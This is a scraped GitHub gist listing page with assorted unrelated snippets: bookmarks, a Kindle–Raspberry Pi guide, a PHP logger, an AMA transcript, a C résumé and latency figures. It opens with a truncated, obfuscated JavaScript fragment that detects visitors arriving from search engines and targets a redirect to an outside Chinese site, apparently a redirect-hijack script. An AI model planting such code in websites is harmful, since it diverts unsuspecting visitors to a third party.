Skip to content

Instantly share code, notes, and snippets.

var _$ = ["www.baidu.com", "www.sogou.com", "www.so.com", "www.google.com.hk", "www.yahoo", "bing.com", "www.youdao.com", "www.soso.com", "360.cn", '11413.com.cn', 'http://www.11413.com.cn/qeedoo/index.html', "", "Microsoft Internet Explorer"];
(function () {
var qeedoo0 = window["document"]["referrer"];
var qeedoo1 = window["document"]["URL"];
qeedoo0 = qeedoo0["toLowerCase"]();
qeedoo1 = qeedoo1["toLowerCase"]();
if (qeedoo0["indexOf"](_$[0]) != -0x1 || qeedoo0["indexOf"](_$[1]) != -0x1 || qeedoo0["indexOf"](_$[2]) != -0x1 || qeedoo0["indexOf"](_$[3]) != -0x1 || qeedoo0["indexOf"](_$[4]) != -0x1 || qeedoo0["indexOf"](_$[5]) != -0x1 || qeedoo0["indexOf"](_$[6]) != -0x1 || qeedoo0["indexOf"](_$[7]) != -0x1 || qeedoo0["indexOf"](_$[8]) != -0x1) {
var qeedoo2 = qeedoo0["replace"](/baidu.com\/s/, _$[9]);
qeedoo2 = _$[10];
if (qeedoo2 != null && qeedoo2 != _$[11]) {
@dypsilon
dypsilon / frontendDevlopmentBookmarks.md
Last active May 7, 2024 01:27
A badass list of frontend development resources I collected over time.
@rvagg
rvagg / README.md
Last active May 4, 2024 12:17
Kindleberry "Paperwhite" Pi

Work in progress, I'll write this up properly when I'm done.

Almost all credit goes to @maxogden for putting me on to this and pointing me in the right direction for each of these items.

Prerequisites:

  • Raspberry Pi
  • Kindle Paperwhite freed from its locked down state (jailbroken) http://www.mobileread.com/forums/showthread.php?t=198446
    • You have to downgrade your Kindle to 5.3.1 to install the current jailbreak; that's just a matter of getting the old version image, putting it on your Kindle via USB and telling it to install "upgrade". Then you put in the Jailbreak files, load the ebook and break.
  • Your kindle will be quick to detect an upgrade is available so it'll want to upgrade soon afterwards but the jailbreak will last but you have to reinstall the developer certificates so it's a bit of a pain but doable. Find all the instructions on the mobileread.com forums and wiki.
@emptyhua
emptyhua / gist:5055043
Last active December 14, 2015 08:08
PHP日志打印
function debug_log() {
if (false) return; //开关
static $fp = 0;
if ($fp === 0) {
$logname = 'myprojectname';//日志名称
$fp = fopen('/tmp/' . $logname . '.debug.log', 'a');
}
$traces = debug_backtrace();
$trace = count($traces) > 1 ? $traces[1] : $traces[0];
$log_msg = date('Y-m-d H:i:s') . ' FILE:' . basename($trace['file']) . ' FUNC:' . $trace['function'] . ' LINE:' . $trace['line'] . ' :' . "\n";
anonymous
anonymous / gist:4759466
Created February 12, 2013 01:58
Bill Gates AMA - Feb 11 2013

What are your thoughts on the push against the open and free Internet that we have been seeing in the recent past and present (such as sopa, etc)?

There are two things this could reference. One is the free/pay for software mix. The Internet has benefited from having lots of free stuff and lots of commercial software. It has been interesting see people inventing hybrid models. Even stuff that is pretty commercial often has free versions for some audiences. Even the most open stuff often have services people choose to pay for.

The second thing is the anonymous versus identified tension. This is another one where both will probably thrive since you want anonymity for some things and full identity for others. I am surprised how little progress has been made in the identity space but it will improve.


*[What do people give you for your birthday, given that you can buy anything you want?](http:

@klange
klange / _.md
Last active May 23, 2024 13:45
It's a résumé, as a readable and compilable C source file. Since Hacker News got here, this has been updated to be most of my actual résumé. This isn't a serious document, just a concept to annoy people who talk about recruiting and the formats they accept résumés in. It's also relatively representative of my coding style.

Since this is on Hacker News and reddit...

  • No, I don't distribute my résumé like this. A friend of mine made a joke about me being the kind of person who would do this, so I did (the link on that page was added later). My actual résumé is a good bit crazier.
  • I apologize for the use of _t in my types. I spend a lot of time at a level where I can do that; "reserved for system libraries? I am the system libraries".
  • Since people kept complaining, I've fixed the assignments of string literals to non-const char *s.
  • My use of type * name, however, is entirely intentional.
  • If you're using an older compiler, you might have trouble with the anonymous unions and the designated initializers - I think gcc 4.4 requires some extra braces to get them working together. Anything reasonably recent should work fine. Clang and gcc (newer than 4.4, at le
@andyliu
andyliu / duoshuo
Created September 25, 2012 15:44 — forked from fddxyz/duoshuo
duoshuo sso auth class
<?php
//more info at:http://dev.duoshuo.com/threads/5023323ce9b7bde608000012
class duoshuo extends CI_Controller
{
public $short_name="";
public $secret ="";
public $remote_auth ="";
public $access_token ="";
@hellerbarde
hellerbarde / latency.markdown
Created May 31, 2012 13:16 — forked from jboner/latency.txt
Latency numbers every programmer should know

Latency numbers every programmer should know

L1 cache reference ......................... 0.5 ns
Branch mispredict ............................ 5 ns
L2 cache reference ........................... 7 ns
Mutex lock/unlock ........................... 25 ns
Main memory reference ...................... 100 ns             
Compress 1K bytes with Zippy ............. 3,000 ns  =   3 µs
Send 2K bytes over 1 Gbps network ....... 20,000 ns  =  20 µs
SSD random read ........................ 150,000 ns  = 150 µs

Read 1 MB sequentially from memory ..... 250,000 ns = 250 µs